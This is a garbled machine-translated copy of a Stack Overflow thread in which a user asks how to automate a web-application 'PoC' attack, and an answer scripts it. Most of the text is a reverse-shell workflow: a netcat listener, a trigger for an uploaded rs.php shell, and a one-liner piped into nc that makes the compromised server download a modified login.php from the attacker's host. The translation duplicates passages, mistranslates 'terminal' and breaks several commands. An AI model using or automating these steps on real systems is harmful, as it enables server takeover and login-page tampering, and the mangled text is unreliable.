Linux 如何自动化bash脚本
大家好 我正试图编写一个脚本,让我展示一个PoC来破解一个web应用程序,目前它需要我打开几个不同的进程和终端,在一个特定的终端上执行命令,然后切换回其他终端 我想做以下工作:Linux 如何自动化bash脚本,linux,bash,cmd,terminal,Linux,Bash,Cmd,Terminal,大家好 我正试图编写一个脚本,让我展示一个PoC来破解一个web应用程序,目前它需要我打开几个不同的进程和终端,在一个特定的终端上执行命令,然后切换回其他终端 我想做以下工作: 终端0: 启动http服务器>python-msimplehttpserver 8081 启动终端1: 启动shell侦听器>nc-v-n-l-p8082 启动终端2: 启动反向shell>wget“172.16.0.XXX/upload/16/rs/rs.php” 端子1(nc内部): 浏览目录>cdvar/www/
- 终端0:
- 启动http服务器
>python-msimplehttpserver 8081
- 启动终端1:
- 启动shell侦听器
>nc-v-n-l-p8082
- 启动终端2:
- 启动反向shell
>wget“172.16.0.XXX/upload/16/rs/rs.php”
- 端子1(nc内部):
- 浏览目录
>cdvar/www/users/
- 下载修改后的页面
>wget“10.13.37.128:8081/login.php”
- 星型3号航站楼:
- 打开firefox并浏览到172.16.0.180/users/login.php
gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget "10.13.37.128:8081/login.php"'
gnome-terminal -e 'firefox "http://172.16.0.180/users/login.php"'
wget“10.13.37.128:8081/login.php”
让我困惑的是,在我需要的时候在特定的终端之间切换。仅仅为此编写一个宏是否有意义,或者是否可以这样做?任何帮助都将不胜感激 启动各种终端的脚本怎么样
gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget "10.13.37.128:8081/login.php"'
gnome-terminal -e 'firefox "http://172.16.0.180/users/login.php"'
对于“nc问题”,我建议一个简单的技巧:
(sleep 3 ; echo cd var/www/users/ ; echo wget "10.13.37.128:8081/login.php") | nc -v -n -l -p 8082
这使用Xterm为不同的命令打开多个终端模拟器。请尝试添加一些代码来改进您的问题。请看:@mcNets谢谢,对不起,我是新来的Stack Overflow,如果您有任何意见,我们将不胜感激。请至少阅读注册本网站时显示的内容,问题是,在运行
wget
请求rs.php
之后,我想回到启动侦听器“nc-v-n-l-p8082”的终端,谢谢,但问题是,在运行wget之后,我想回到启动侦听器“nc-v-n-l-p8082”的终端请求rs.php